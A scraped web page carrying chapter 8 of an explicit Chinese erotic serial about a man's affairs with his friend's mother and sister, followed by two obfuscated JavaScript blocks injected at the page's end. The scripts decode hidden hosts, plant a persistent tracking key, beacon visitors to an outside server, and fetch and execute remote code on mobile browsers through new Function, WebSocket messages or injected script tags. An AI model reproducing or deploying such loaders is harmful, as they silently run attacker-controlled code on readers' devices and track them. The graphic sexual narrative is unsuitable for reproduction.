图片载入中

校外辅导站里的妈妈- 第08章

特大字】 【大字】 【中字】 【小字

那段时间过的挺郁闷的,这事我谁都没告诉,包括偶尔过去我那里的少元。

这事不光彩,有啥好说的。

老婆回家都是小心翼翼的很怕惹我生气,害怕我说起出轨的事,我又不是小孩子了,其实我轻易不会再提起的。

但是我也一时放不下这件事。挺闹心的。所以那段时间我下班不怎么在家,一般时候会去少元家或是自己父母家。去少元家,是能和少元妈妈操逼。而少元妈妈对我可以说像老公一样的爱护。当然这样做的时候是家里没有外人的时候。

少元在的时候都不会在意什么,只是很防备外人。包括少元姐姐。为啥说少元姐,因为少元姐的孩子是由少元妈妈暂时带着的。那会少元姐的孩子还小,有个俩三岁,说话还说不好的样子。

而以前提到和少元姐姐发生的一些事就是从这里开始的。那天下午我下班较早,就去了少元家里,那会下午俩三点这样。我去的时候正好少元姐的孩子在睡觉,我一看机会难得,就抱着少元妈妈说操一下吧。

少元妈妈就顺从的和我在屋子里脱了裤子从后面插了进去,因为炕上少元姐的孩子还在睡觉,我俩操屄自然会很小心的不发出动静。那天少元姐的孩子也睡的比较沉,我和少元妈妈操的兴起,就操了时间不短。而且中间操了一会还让少元妈妈帮我口交了一阵。自然玩的很尽兴。刚刚穿好衣服,我还没来得急出去把插上的大门打开,就传来一阵敲门的声音。

因为刚穿好衣服,也不怕啥了,我就走出去开门了。谁知道开门后是少元姐回来了。平时少元家很少插大门的,见我开的大门,少元姐还说了句,啥时候来的。

我当时也顺嘴说了一句来了一阵了。随后就和少元姐进了屋子。我出去再进来,就闻到一股刚刚操逼后散发的那种精液混合淫水的味道。心说坏了,咋没注意这事呢。

我知道少元姐肯定也闻到了,随后我就看少元姐很仔细的看了她妈妈一眼,我也看了一眼。才发现少元妈妈脸上还有着红晕。那种满足后的红晕看着很漂亮的。

少元妈妈并没注意到少元姐看她。该做什么还做着什么,我心里只能哀叹一声。随后少元姐看着我的眼睛,狠狠的瞪了我一下。我知道少元姐知道了,可是也没有啥好办法。先看看少元姐咋说这事吧。

等了一会孩子醒了,少元姐就说我今天下班早,我也早点回家干点活去。就让我帮着抱孩子去公交站等车。

这个是很自然的事,因为平时也是这样,一般时候少元姐自己抱孩子走了,有少元在家或是我在少元家的时候,就由我俩来帮着抱孩子送到公交站哪里。公交站离少元家不远,走一会就到了。

路上我抱着少元姐的孩子,那天孩子有些没睡醒的样子,趴在我的肩头迷迷煳煳的。少元姐走出家附近哪里就回头瞪了我一眼小声的狠狠的问我,你干了什么?

我当然不会承认干啥了,反正没在炕上抓到我,我自然不会承认。就嬉皮笑脸的啥也不承认。见我这个样子,少元姐随后也笑了说道,其实我已经知道了。

对于这事少元姐说其实很理解的。

早先没结婚的时候肯定不会理解。但是结婚几年了,对这事就理解了。随后少元姐声音低落的说道,妈妈这么多年不容易。自己一个人照顾少元和我。而我到现在也没帮上家里什么忙。心里挺不好受的。

但是因为工作,又不得不把孩子送到这里让妈妈帮着带。随着我和少元姐的聊天,走路慢了下来。少元姐抬头看着我问到多久了?我知道问的是啥,这会也只能回答了。

我说十六七那会吧,少元姐惊讶的看着我,那会我还高中吧?我点了下头。

随后少元姐又问我少元知道吗?我连忙说道,少元不知道。少元姐也说小心的点,别让少元知道了。露馅你俩这哥们没个做了。

我心里说,还是少元帮我操的你妈妈呢。你这还想背着少元,咋可能呢。但是嘴里还连忙答应了。

随之少元姐说也注意别让邻居啥的知道了。要是知道了,妈妈可没脸活了。

我也赶紧说道,我很注意的。你放心吧,姐。话题到这也就停了,因为到了公交站。

少元姐就是直直的看着我。看的我心里都没底气了。随后接过我手里的孩子,说你回去陪妈妈吧。我一听到这里连忙的回头就走了。说心里话,跟少元姐对话很有压力的。

自打这事以后,在少元家碰到少元姐的时候,多少心里还是有点不得劲。相反少元姐倒是很放的开,没人注意的时候,会对我眨眨眼,还会说一句做了没?

我知道这句做了没是指的什么。

有时候就会小心的点头,那意思是做了。少元姐就笑咪咪的不在问我。几次以后我也放开了,在碰到少元姐问我,我就会小声的告诉少元姐,刚刚跟你妈妈做了俩次。

当然这里是骗少元姐的。不是每次都能做俩次的。而少元姐就会夸张的张大了嘴,挑起一个大拇指来。

当然这些都是无声或是没人注意的时候才会做的。有时候帮少元姐送孩子去公交站,路上少元姐也是小声的跟我说,你真这么厉害啊?我说当然了,这事还用骗你。其实没说的是少元更厉害的,每次跟我妈妈操逼那都是俩次三次的。

少元有次跟我说一个周天的下午,因为下雨天,少元和我妈妈操了一个下午,据少元说,把我妈妈的屄都操肿了。

下班出来的时候,少元说我妈妈走路都有点变样了。

而这事我还真的注意到了,那天因为下雨,我妈妈回来的时候,在家里也是走路感觉挺怪的,我还问了一句咋地了?我妈妈说下雨路滑闪了一下。我还问严重不?我妈妈说没事,我也就没当个事。

等我爸爸回来的时候,走路也就正常了。后来少元说起这个事,我还说少元,原来是你操的太多才那样啊。少元就哈哈大笑。当然我也不会计较这个。

而现如今少元和我还是和年少那会差不多,每次都能战斗个两次三次的。我看着少元姐那疑惑的眼神,就逗少元姐说,咋地少元姐不信啊?要不少元姐验证一下?我是开玩笑的心态,真的没有故意去挑逗少元姐的意思。

因为还抱着孩子呢,也不能说的太透。只能意会一下而已。本身是开的玩笑。

我以为我说完也就算了。

少元姐就看看我,没有说什么。一路就没再说话,谁知道到了公交站,我走的时候,少元姐拉了我一下小声的说,等哪天我找你有事。别告诉别人。我当时并没多想。这事我没放在心上,只以为是真的有事让我帮忙。因为我老婆在医院工作。有时候是有人会找我帮忙的。

我以为是少元姐医院有事需要我帮忙的。等过了几天我去少元家的时候,一般都是下班以后才会过去。所以跟平时一样碰到少元姐接孩子。

少元还没回来,少元姐说有事忙着走,自然是我帮着少元姐送孩子到公交站去。一路感觉少元姐好像有心事一样,不怎么跟我说话。我也没当个事。到了公交站我准备走的时候,少元姐跟我小声的说,周天我加班,下午一点以后你去我单位找我,我有事找你。

我还问了一句啥事啊,姐。少元姐只是说了句你去不去?我当然说去了。随后少元姐说你去了就知道了。过了俩天就是周天,其实这几天我心里一直瞎琢磨来的,不知道少元姐找我啥事。下午我就骑车去少元姐单位了。

少元姐在农机公司工作,是个技术员。因为是技术骨干,还有自己单独的办公室。等我到了农机公司,在门卫那里说了找我姐后,门卫问了是谁就直接放行了,还告诉我在厂内一个三楼里。我进去找到那里后直接上楼,找到挂着技术员室的门牌就敲门。

等了一下,就听到少元姐问谁啊?我赶紧叫了一声少元姐,我来了。少元姐马上说了一句,等一下。

我就站在门外等着,有几分钟吧,少元姐才开了们让我进去。我进去一看少元姐穿着厂内的工作大褂,披散着头发。好像很忙碌的样子。等我进了办公室,就开着玩笑说,少元姐周天还加班,工作真积极啊。少元姐伸手打了我肩膀一下,说道油嘴滑舌的干嘛。我假装很疼的说,少元姐你给我打坏了。

说着话的时候少元姐把门关上了,我随之听到暗锁锁门的卡塔声。我知道少元姐反锁门了。当时只是疑惑着可能是少元姐怕有人打扰我俩说话吧。并没有多想。我坐到少元姐的工作椅子上开始打量着办公室,房间不小,一张办工桌,还有在靠墙哪里一张画图的用到的斜面工作台。

门后一个卷柜,还有一个三人沙发离少元姐的办公桌很近,想坐到椅子就得从沙发扶手边上侧着身子过去。少元姐问我喝水不?我说喝点,骑车有点口渴。

等忙完这些,少元姐坐到沙发上,离得我很近。

我说少元姐咋这么忙,周天还不休息?少元姐跟我说,其实就我自己加班,别人都休息的,你没见进来楼里一个人都看不到吗?我又问工作都忙完了,少元姐说早就忙完了,就等你来呢。我一听说道正题了,就问少元姐让我过来有啥事?

少元姐看着我说道,其实我很好奇你是咋跟我妈妈发生关系的?我一听少元姐说这个,立马尴尬的不行,别看在外面可以开玩笑,真没人的时候说这个,我还真不好意思。毕竟少元妈妈的年龄在哪里,虽然操了这么多年,因为年龄差距还是不愿意跟别人谈起的。

少元姐看着我说道,你别不好意思,这里没人,就姐和你。你说吧,咋样姐都不会怪你,甚至还要谢谢弟弟能这么做。

我沉默了一会,才说少元姐你想知道啥?少元姐也有些不好意思细说什么。

只是问我,你现在后悔吗?我自然说道,不后悔啊,为啥后悔?少元姐又问我,你真的像你自己说的那么厉害?我假装煳涂的问道,什么厉害啊?少元姐一下子从沙发上起来,走到我跟前,用手又打了我一下。说道在装煳涂,等我掐你啊。

我只好假装投降的说道,好了,我不装煳涂了。这时少元姐没再回到沙发上坐着,只是坐在沙发扶手上,这样我和少元姐就面对面了,而且少元姐一俯身就会摸到我。我只好简单的编了一些和少元妈妈咋操上的故事了,真相怎么可能告诉少元姐啊。那不得把少元暴露出来吗。

少元姐这会已经很专注的听我编的故事了。我看着少元姐脸已经很红了。但是少元姐并没有让我停下不说,我看着少元姐的脸色,我故意的开始说起操逼时候的各种玩法,怎么去亲吻的,怎么去抚摸乳房的,怎么去扣摸阴蒂的。少元姐脸色越来越红,喘息的声音都大了一些。

随着我的描述,少元姐的手就伸过来放到我的腿上,听着我的讲诉,少元姐开始抚弄我的大腿,有意无意的会抚到我的鸡巴哪里。

我已经感觉到了,一会会有意想不到的好事发生。随着少元姐的抚摸,我也走出去,拉着少元姐的手坐到沙发上。我坐到沙发上,就用手在衣服外面抚摸了一下少元姐的乳房。少元姐没有阻挡我。

甚至还靠在我的怀里。我这时候也不在说话了,搂过少元姐就亲吻起来,少元姐也配合着我的亲吻。我这时候知道该干嘛了,就一边把少元姐的工作大褂的衣扣都解开了。

等解开大褂,我发现少元姐里面只有乳罩,下面只有一条内裤。我进来的时候发现少元姐的大腿露在外面,还以为是穿的裙子,谁知道里面只有内裤啊。蕾丝的内裤,很小很透。我能看到少元姐的逼毛。

而这时少元姐也开始解我的牛仔裤了,我俩相互的很快就脱光了。我没有更多的前戏,分开少元姐的双腿,看着少元姐的小屄上已经亮晶晶的淫水。不是很大的小阴唇微微的张开着,因为分开的腿,里面的嫩嫩的露出很淡颜色的屄肉,我举起少元姐的双腿,用早已经硬起了的鸡巴一下插了进去。

少元姐被我这么很快的一插,一下发出哎呀的声音。随后就是闷闷的呻吟。

我开始大力的抽插起来,因为是在办公室里,心里有些没底,不知道会不会来人。

所以我操的很快,很用力。随着我抽插,少元姐的小屄里发出噗嗤噗嗤的声音。而少元姐也压抑着自己的呻吟,我一边抽插,一边用手捻弄着少元姐的乳头。

偶尔低下头吸允几下乳头。

少元姐就发出更压抑的呻吟声。不管怎幺小心,操逼时候发出的撞击声也是挡不住的。时而啪啪的时而噗嗤噗嗤的声音。

少元姐很快就浑身僵硬起来,我知道少元姐高潮了,但是我还没有感觉过瘾,稍等了一下,等少元姐身子软下来,我又开始快速的抽插起来。在我操到少元姐高潮又来了之后,我才快速的抽插十几下二十几下这样,才射出精液。而少元姐在我射精的时候,一下搂住了我的脖子。

一直等少元姐平静下来,我才起身。我一起来,少元姐赶紧一只手挡住自己的小屄,另只手不知道在哪里拿出来一些手纸堵在自己屄哪里。随后夹起双腿,又拿出手指帮我清理鸡巴。

我站着,少元姐坐着,我的鸡巴正好在少元姐的面前。少元姐擦着我的鸡巴,脸色红润。擦了几下,一下把我已经软了的鸡巴含到嘴里,用那灵巧的舌头舔舐我的龟头。我随之又有要硬起来的样子,少元姐赶紧的拿出来,斜着眼睛瞪了我一下,这么快就又不老实了。

我一听嘿嘿嘿的笑了。我连忙说句姐你的屄真紧,插着好舒服。少元姐没理我,起身收拾了一下小屄哪里。乳罩都没穿上,直接的穿起工作大褂。扣子一系上倒是看不出来什么。

我也穿起牛仔裤,又做到少元姐的身边,搂着少元姐开始索吻。吻了一会,少元姐推开我,说道,我这次真信了,你真能满足妈妈了。

你这家伙挺厉害啊,鸡巴还大还粗,还这么能干女人有你这样的鸡巴就有福了。我也没法接话。心里想起老婆被人操的事情来。就有些郁闷。

少元姐没看出我的心烦。我只是抱着少元姐,一边偶尔吻一下,一边把手伸到大褂里,不停的玩着少元姐的乳房。我问了一句,姐你咋想和我操逼的?少元姐看看我,说道你姐夫因公驻在外面,好几个月没回来。你知道的。

别的还用问吗?如果不是知道你和妈妈有了这事,我就算想死也不会找你的。

那天我进屋子里就闻到男女欢爱时候留下的气味,而家里又没别人只有妈妈和你。

大门又是你开的,心里一下就想到肯定是你和我妈做爱了。因为家里这会没别人。

当时我心里也一下就想做爱了,当时姐下面就痒的厉害,我好几个月没有做爱了。要不然我说只有结婚的女人才理解女人没有男人是多么煎熬。当然因为知道了你和我妈妈的事,我也就想还是让你来和我做爱吧。要不就便宜别的男人了。

最起码我这也算补偿一下你。当然我和你做爱就是我想了,让你做,不找别人做。

咋地也不能便宜了外人。姐不会总找你做的。

偶尔你姐夫不在家的时候,我才会找你。找你多了,妈妈哪里也会少做的,而且你还有老婆呢。等我听完这些,我鸡巴又硬了起来。

少元姐感觉到了,就惊讶的问我,咋又硬了?我说还想做呗,少元姐连忙说道,我吃饱了,不做了。我这会才不会管她要不要呢,我搂着少元姐就把大褂的扣子解开了,这次连大褂都没脱,我按着少元姐的头说,帮我吃会。

少元姐无奈的开始低下头吃起我的鸡巴。不管怎么说,结婚后的女人对吃鸡巴好像天生的自带技能。都是很会吃,添的舒服的不行。

我拉起少元姐,从后面插了进去,让少元姐趴跪在沙发上,又大力的操了起来,看着少元姐白白的屁股,一边抚摸,一边轻轻的打着少元姐的屁股,随着轻微的啪啪声,少元姐的呻吟声也是无法控制了,一声高一声低的呻吟着。操了一会,又翻身在沙发上开始抽插起来。

这会我一手使劲的揉按着少元姐的奶子,一边低头用牙去咬乳头,当然不会太用力的,随着我的动作,少元姐很快浑身颤抖起来。从小屄里面喷出一股一股的淫液都喷到我龟头上。给我舒服的总想着快速抽插几下就射精算了,可是刚刚操完一次,哪里会那么快射精。我又操了少元姐二十多分钟,才射精。

这次我起身的时候,少元姐已经不动了,懒懒的躺在那里。分着的双腿露出小屄被我插过后的小洞,从里流下来白色的精液。看着很淫荡,很刺激。我嬉笑着问少元姐,这回舒服没,少元姐伸手抚摸着我的脸说,弟啊,你这么厉害啊,姐都让你操死了。真的没劲起来了。

我扶起少元姐靠在我身上,随后一会少元姐开始自己清理起来。这次清理完就赶忙穿好所有衣服,我笑着说,咋都穿上了。

少元姐说道,在不穿上,我怕你一会还要,我可是真没劲了。今天说啥也不要了。

自那次在少元姐班上操了少元姐,我俩都心照不宣的,谁都没说。就算以后我也没告诉少元。只是少元姐和我操逼的次数不多。随着进入九十年代,出现了下岗一词,很多人面临着下岗。

这期间少元老婆也面临着下岗。随着我和老婆的冷战结束,也已经要面临要孩子的时候了。老婆那段时间很是担心我会离婚。

那会的离婚还是会让人鄙视的,与现今不同,离婚的多,也不在意。那会不行的。不久老婆怀孕了,月份不大,还在上班。而少元来我这里的时候说起他老婆面临下岗的事,挺闹心的。

我也劝解开导少元不要多想,下岗的不是一个。是很多人都下岗。就算下岗了,咱在想办法就是了。又说起我要孩子的事,少元也说,本来也想要了,但是这要下岗了。暂时只能不要了。

偶尔少元会带老婆过来我这里,碰到我老婆在家,这俩个女人叽叽喳喳的比我和少元还能说。也知道少元和我的关系好的跟一个人一样,这俩女人倒是都能相处的很好。自然有时候也会吃彼此老婆的豆腐了。

当然也没到操了的程度,更像彼此打闹一样。经常会凑到一起吃顿饭喝点酒之类的事。随着老婆怀孕的月份变大。

我妈妈就会经常过来看看。帮我做些家务之类的事。偶尔我爸爸也会跟来看看,只是相对要比我妈妈来的少很多。终于到了分娩的时候,老婆给我生了一个儿子。自然这是一件高兴的事,很多亲戚过来祝贺。

我妈妈只好过来照顾老婆的月子,每天都要过来,后来就干脆住在我那里了。

房间倒是不缺。只是一个月我没操逼,因为不能离开家,所以只好憋着。期间少元倒是常来了,一个是喜欢我儿子,一个是我妈妈在我家。又没别的顾忌,所以经常过来。老婆只能在我们的房间不出来。

这一个月少元来的时候,我总是要找些借口出去躲一会,给少元和我妈妈点机会。这时我妈妈也已经退休了。

别看老婆在家,倒是一直没发现少元和我妈妈操逼。我在没人的时候问少元做爱了吗?少元自然会告诉我的,还说别看我妈妈年龄也大了,但是屄里的水还是很多。每次都能把内裤弄湿了。

我就笑少元说,你真不是人。我妈来这帮我照顾我儿子的,你都不放过机会。

少元就说,咱俩就谁也别说谁了。都不是啥好鸟······我俩说完一阵大笑。倒不是我和少元变态。都已经这么多年了,自然早就接受彼此这么做了。老婆做完月子,带孩子回了娘家去了,我妈妈也没马上就回去,还住在我这里,我知道是因为少元才住在这里的。

说道这里不能不说我爸爸这个人,老一辈的人,有些古板,上班的时候又是个小领导,所以一心扑在工作上。自然冷落了我妈妈。而我妈妈又是个文化人,心里的情感肯定很丰富。不是因为冷落,也许不会那么喜欢少元的陪伴后和少元有了感情。更是这么多年被少元一个人操。

而少元因为年龄小吧,我妈妈在书里看到的那些情感与性交知识都教会了少元。少元在没结婚的时候倒也没有辜负我妈妈。

可以说少元在跟我妈妈操屄的次数肯定超过我爸爸的。而且也真的把我妈妈征服了。只要少元说想要,我妈妈就会找一切机会和少元操逼。而且可以玩的花样特别多,少元跟我说的时候也提到过,说跟我妈妈操逼才是真正的享受。这可能就是偷情的刺激吧。换谁玩弄别人的老婆可能都是一样的感觉特别刺激。


上一篇:校外辅导站里的妈妈- 第09章

下一篇:校外辅导站里的妈妈- 第07章


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};